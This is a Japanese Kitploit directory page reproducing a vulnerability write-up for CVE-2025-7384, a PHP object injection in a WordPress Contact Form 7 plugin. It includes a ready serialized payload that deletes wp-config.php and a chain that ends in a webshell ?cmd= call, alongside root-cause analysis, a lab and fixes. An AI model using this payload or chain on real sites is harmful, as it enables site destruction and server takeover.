Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/dungsocool/cve-2025-7384
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

WordPress Database for Contact Form 7 における重大な未認証の PHP オブジェクトインジェクションのエクスプロイト PoC と根本原因分析。任意のファイル削除による RCE につながります。

リポジトリを見る
19日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-7384 — PHPオブジェクトインジェクションによるRCE

プラグイン: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8(重大)
CWE: CWE-502 — 信頼できないデータのデシリアライゼーション
認証要件: なし(未認証)
影響: リモートコード実行


目次

  1. 脆弱性の概要
  2. 関連概念
  3. 根本原因分析(ソースコード+デバッグ)
  4. 攻撃チェーン
  5. ステップバイステップの再現(POC)
  6. 影響評価
  7. 修復策

1. 脆弱性の概要

「Database for Contact Form 7」プラグイン(スラッグ: contact-form-entries)バージョン1.4.3以下には、PHPオブジェクトインジェクションの脆弱性が存在します。WordPress管理者が管理パネル内でフォームレコード(エントリ)を閲覧すると、このプラグインは、Contact Form 7を介して未認証ユーザーが送信したデータに対して、インスタンス化を許可するクラスのリストを制御せずに、maybe_unserialize() 関数を直接呼び出します。

攻撃者はログインする必要はありません。通常の問い合わせフォームを送信するだけで、シリアライズされたPHPオブジェクトを任意のフォームフィールドに挿入できます。このデータはデータベースに生のまま保存されます。管理者がそのエントリを開いて閲覧すると、デシリアライゼーション関数が攻撃者の選択したオブジェクトをインスタンス化し、__destruct() や __wakeup() などのマジックメソッドをトリガーして、WordPress環境で利用可能なPOPガジェットに応じて任意の動作を実行します。

重大度レベル: 適切なPOPガジェット(例えば __destruct() メソッドが unlink() を呼び出すクラス)があれば、攻撃者は wp-config.php ファイルを削除し、WordPressを初期インストール画面に戻すことができます → 攻撃者が制御する管理者アカウントで再インストール → ウェブシェルを含むプラグインをインストール → サーバー上で完全なリモートコード実行(RCE)を達成します。


2. 関連概念

PHPのシリアライゼーション/デシリアライゼーション

PHPは serialize() を使用してオブジェクトを構造化されたテキスト文字列に変換し、unserialize() を使用してその文字列からオブジェクトを復元します。unserialize() が信頼できないソース(例: ユーザー入力)からのデータを受け取ると、攻撃者はその時点でPHPメモリにロードされている任意のクラスに属する任意のオブジェクトを構築できます。

PHPマジックメソッド

PHPがオブジェクトのライフサイクル中に自動的に呼び出す特別なメソッドです。この文脈で最も重要なもの:

  • __wakeup() — オブジェクトがアンシリアライズされた直後に呼び出される
  • __destruct() — オブジェクトが破棄される(スコープから外れる、またはリクエストが終了する)ときに呼び出される
  • __toString() — オブジェクトが文字列にキャストされるときに呼び出される

POPチェーン(プロパティ指向プログラミング)

アプリケーション内の既存クラスから複数のマジックメソッドを連鎖させて、危険な一連の動作を構築する手法です。攻撃者は新しいコードを書くわけではなく、既存オブジェクトのプロパティを操作するだけで、マジックメソッドが実行されたときに開発者が意図しないアクションを実行させます。

WordPressにおける maybe_unserialize()

WordPress Coreのラッパー関数です。is_serialized() を呼び出して文字列がシリアライズされたデータかどうかを確認し、真であれば unserialize() を呼び出してオブジェクトを復元します。問題: この関数は、インスタンス化を許可するクラスを制限するための allowed_classes パラメータ(PHP 7.0以降で利用可能)を渡していません。


3. 根本原因分析 — ソースコードからの脆弱性の発見

ステップ1: シンクポイントの発見(シンクハンティング)

まず、プラグインのソースコード全体をgrepしてデシリアライゼーション関数を特定します。これらはPHPで最も危険な関数であり、オブジェクトインジェクションにつながる可能性があります:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

出力から、maybe_unserialize() の複数の呼び出し箇所が明らかになります。特に includes/data.php の545行目、verify_val() 関数内です:

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

重要な疑問: $string 変数はどこから来るのか? フィルタリングされずにユーザー入力から来る場合 → これは脆弱性です。

ステップ2: バックワードトレーシング — データはどこから来るのか?

verify_val() がどこで呼び出されているかを探します。同じ data.php ファイル内を逆方向にトレースします:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string はまさに $v['value'] — wp_vxcf_leads_detail データベーステーブルから取得された値です。この関数は、管理者がフォームエントリの詳細を閲覧するときに呼び出されます。

次の疑問: wp_vxcf_leads_detail 内のデータはどこから来るのか? 誰が書き込むのか?

ステップ3: データ書き込みポイント(ソース)の発見

ステップ2から、データがデータベースから取得されることが分かっています。次の疑問: 誰がそこにデータを書き込むのか? data.php 内でINSERTクエリを検索します:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

詳細は create_lead() 関数のコード(85〜103行目)を参照してください:

image 4.png

98〜99行目で、フォームフィールド(例: your-message)の内容である値 $v が、$wpdb->insert() によってデータベースに直接挿入されます。プラグインはContact Form 7の wpcf7_before_send_mail イベントにフックしているため、ユーザーがフォームを送信するたびに、すべてのフィールドが生のまま保存されます。

追加確認: プラグインは保存前に sanitize_text_field() と sanitize_textarea_field() を使用していますが、これら2つの関数はHTMLタグと特殊HTML文字を除去するだけです。O:21:"VulnerableFileHandler":2:{...} のようなシリアライズされたペイロードにはHTMLタグが含まれていないため、完全にそのまま通過します。

ステップ4: 結論 — 脆弱性の確認

この時点で、完全なフローが確立されました:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

根本原因: data.php:545 の maybe_unserialize() 関数が、未認証ユーザー入力に由来するデータに対して、allowed_classes: false を渡さずに呼び出されています。攻撃者はCF7フォームの your-message フィールドにシリアライズされたPHPオブジェクトを送信するだけで、管理者がエントリを閲覧すると、PHPがそのオブジェクトをインスタンス化して __destruct() マジックメソッドをトリガーします。

ステップ5: デバッガによる検証(Xdebug)

視覚的な証明として、Xdebugを使用して data.php の545行目にブレークポイントを設定します。フォームを介してペイロードを注入し、管理者にエントリを閲覧させた後、デバッガは正確に maybe_unserialize() で一時停止します:

image 5.png

変数パネルには、攻撃者のペイロードを保持する $string が表示されます:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → ペイロードはフォーム → データベース → デシリアライゼーション関数へ、ブロックされることなく到達しました

実行行:

  • 545行目: $string=maybe_unserialize($string);

コールスタックは関数呼び出しのシーケンスを示しています:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ 分析した正確なフローが確認されます: 管理者がエントリを閲覧 → get_entries() → verify_val() → maybe_unserialize()。


4. 攻撃チェーン

攻撃チェーンは5つのステージで構成されます。攻撃者が実行する必要があるのはステージ1(フォーム送信)だけです。ステージ2〜5は、管理者がエントリを閲覧した後に自動的に発生します。

ステージ1 — ペイロードの注入(未認証)

攻撃者は、メッセージフィールドにシリアライズされたPHPオブジェクトを含むCF7フォームを送信します。

  • エンドポイント: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • フィールド your-message に含まれる値: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • プラグインはペイロードを wp_vxcf_leads_detail テーブルに保存 — sanitize_text_field() はシリアライズされた文字列をブロックしない

ステージ2 — デシリアライゼーションのトリガー(管理者待ち)

管理者が「Contact Form Entries」ページを開く → エントリの詳細を表示 → プラグインが verify_val() を呼び出す → maybe_unserialize()。

  • PHPは file_path = "/var/www/html/wp-config.php" と cleanup = true を持つオブジェクト VulnerableFileHandler をインスタンス化します
  • リクエストが終了すると、PHPのガベージコレクションが __destruct() を呼び出します → unlink("/var/www/html/wp-config.php")

ステージ3 — 任意ファイルの削除

wp-config.php ファイルが削除されます → WordPressはデータベース接続を失います。

  • http://target/ にアクセス → /wp-admin/setup-config.php(初期セットアップ画面)に自動的にリダイレクトされます
  • WordPressはサイトを未インストール状態として扱います

ステージ4 — WordPressの再インストール

攻撃者は既知の(またはブルートフォースで入手した)データベース資格情報を使用してWordPressを再インストールします。

  • 攻撃者が制御する新しい管理者アカウントを作成
  • 完全な管理者権限で管理ダッシュボードにログイン

ステージ5 — リモートコード実行

ウェブシェルを含むプラグインをインストール → 任意のシステムコマンドを実行します。

  • 管理ダッシュボード → プラグイン → 新規追加 → PHPウェブシェルを含むプラグインZIPをアップロード
  • ウェブシェルのURLにアクセス: /wp-content/plugins/shell/shell.php?cmd=id
  • 出力: uid=33(www-data) gid=33(www-data) → RCE完了

5. ステップバイステップの再現(POC)

5.1 環境セットアップ

WordPress + 脆弱なプラグインを含むDockerラボを起動します:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

ログに LAB READY と表示されるまで約40秒待ちます。http://localhost:8181 にアクセスしてWordPressが実行されていることを確認します。

5.2 インジェクションポイントの特定

セクション3のソースコード分析から、以下が分かっています:

  • シンクは data.php:545 にあります — フォームフィールド値に対する maybe_unserialize()
  • ソースは wp_vxcf_leads_detail テーブル — データはCF7フォームから来ます
  • サニタイズは sanitize_text_field() のみに依存 — シリアライズされた文字列をブロックしない

→ 結論: シリアライズされたPHPオブジェクトをCF7フォームの任意のフィールドに送信するだけです。your-message はテキストエリアであり、長い文字列を受け入れ、フォーマット検証が少ないため(メール形式が必要な your-email とは異なり)、これを選択します。

5.3 コンタクトフォームを介したペイロードの注入

http://localhost:8181/contact/ にアクセスし、フォームを次のように記入します:

フィールド値
あなたの名前dung
あなたのメール[email protected]
件名test inject
あなたのメッセージO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

ペイロードの説明:

  • O:21:"VulnerableFileHandler" — クラス VulnerableFileHandler(unlink() を呼び出す __destruct() を持つ)をインスタンス化します
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path プロパティが削除対象のファイルを指します
  • s:7:"cleanup";b:1 — プロパティ cleanup = true により、__destruct() が unlink() を実行します

送信をクリックします。フォームにはメール送信エラーメッセージ(または成功メッセージ)が表示されますが、これは無関係です。contact-form-entries プラグインはメール配信前にすべてのデータをすでにデータベースに保存しているためです。

5.4 デシリアライゼーションのトリガー — 管理者がエントリを閲覧

http://localhost:8181/wp-admin(admin / admin123)にログイン → 左メニューで CRM Entries を選択 → 受信したエントリをクリックして表示します。

image 7.png

これがまさに実行が data.php:545 に到達する瞬間です。プラグインはデータベースから your-message の値を取得し、is_serialized() チェックが true を返し、maybe_unserialize() を呼び出します → PHPが VulnerableFileHandler オブジェクトを作成 → リクエストが終了し、__destruct() が実行されます → unlink("/var/www/html/wp-config.php")。

5.5 任意ファイル削除の確認

ブラウザで http://localhost:8181/ に移動 → WordPressは /wp-admin/setup-config.php ページ(初期セットアップ画面)にリダイレクト → wp-config.php ファイルが正常に削除されました。

image 8.png

5.6 RCEへの昇格

wp-config.php が削除されると、WordPressは未インストール状態に戻ります。攻撃者の手順:

ステップ1 — WordPressを再インストール:

http://localhost:8181/wp-admin/setup-config.php にアクセス → データベース資格情報を入力:

フィールド値
データベース名wordpress
ユーザー名wpuser
パスワードwppass
データベースホストdb
テーブルプレフィックスwp_

「送信」をクリック → インストールを実行 → 攻撃者が制御する新しい管理者アカウントを作成。

ステップ2 — ウェブシェルのアップロード:

管理ダッシュボードにログイン → プラグイン → 新規追加 → プラグインのアップロード → system-health.zip ファイル(または system-monitor.zip)をアップロード。

image 9.png

アップロードと有効化が成功。

ステップ3 — コマンドの実行(RCE):

アクセス: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

出力: uid=33(www-data) gid=33(www-data) → リモートコード実行が完了しました

アクセス: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

出力: www-data → リモートコード実行が完了しました


6. 影響評価

*ユーザー操作: NVDは、管理者がフォームエントリを閲覧することは期待される動作であり、異常なユーザー操作ではないため、「なし」と評価しています。

現実世界での影響範囲

  • プラグイン「Database for Contact Form 7」は、wordpress.orgで100,000以上のアクティブインストールがあります
  • このプラグインのバージョン1.4.3以下をContact Form 7と一緒に実行しているWordPressサイトはすべて脆弱です
  • 攻撃者は事前情報を一切必要としません — サイトがContact Form 7を使用していることを特定するだけです(HTMLソースから容易に検出可能)
  • ペイロードはデータベースに永続的に保存されるため、エントリが削除されるまで攻撃は持続します

7. 修復策

プラグイン開発者向け

  1. ユーザー提供データに対して maybe_unserialize() を使用しないこと。 構造化データの保存が必要な場合は、代わりに json_decode() を使用してください。

  2. デシリアライゼーションがどうしても必要な場合は、allowed_classes: false オプション(PHP 7.0以降)を指定します:

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

これにより、PHPはオブジェクトを一切インスタンス化せず、スカラー型と配列のみを許可します。

  1. 保存層で入力データを検証する: フォームフィールドがプレーンテキストのみを含むべき場合、パターン /^[OaCis]:\d+/(シリアライズされたデータの指標)に一致する値はすべて拒否します。

WordPress管理者向け

  1. プラグインを直ちにバージョン1.4.4以上に更新する
  2. wp_vxcf_leads_detail データベーステーブルに、O:XX:"ClassName": 形式の文字列に一致するエントリがないか検査する — 存在する場合は攻撃の試みを示します
  3. wp-config.php に制限的なファイル権限(440または400)を設定する — Webサーバープロセスによる削除の可能性を低減します
  4. POSTデータ内のシリアライズされたPHPオブジェクトを検出するルールで構成されたWAF(Web Application Firewall)を導入する

パッチ差分(参考)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
ツールをダウンロード
属性値
CVE IDCVE-2025-7384
CVSSスコア9.8(重大)
CWECWE-502 — 信頼できないデータのデシリアライゼーション
影響を受けるプラグインcontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
認証要件なし — CF7フォームを送信する誰でもペイロードを注入可能
トリガー条件管理者が管理パネルで注入されたエントリを閲覧する
最大の影響未認証のリモートコード実行
パッチ適用済みバージョン1.4.4+(unserialize を json_decode または allowed_classes: false に置き換え)
CVSSメトリクス値説明
攻撃元ネットワークHTTP経由で悪用可能、物理的なアクセスは不要
攻撃の複雑さ低ペイロードを含むPOSTリクエストを1回送信するだけ
必要な権限なし認証不要 — CF7フォームは一般に公開
ユーザー操作なし*管理者は通常のワークフローでエントリを閲覧
機密性高RCEによりサーバー上の任意のファイルを読み取り可能
完全性高RCEにより任意のファイルの書き込み・変更が可能
可用性高wp-config.phpの削除によりWebサイト全体が停止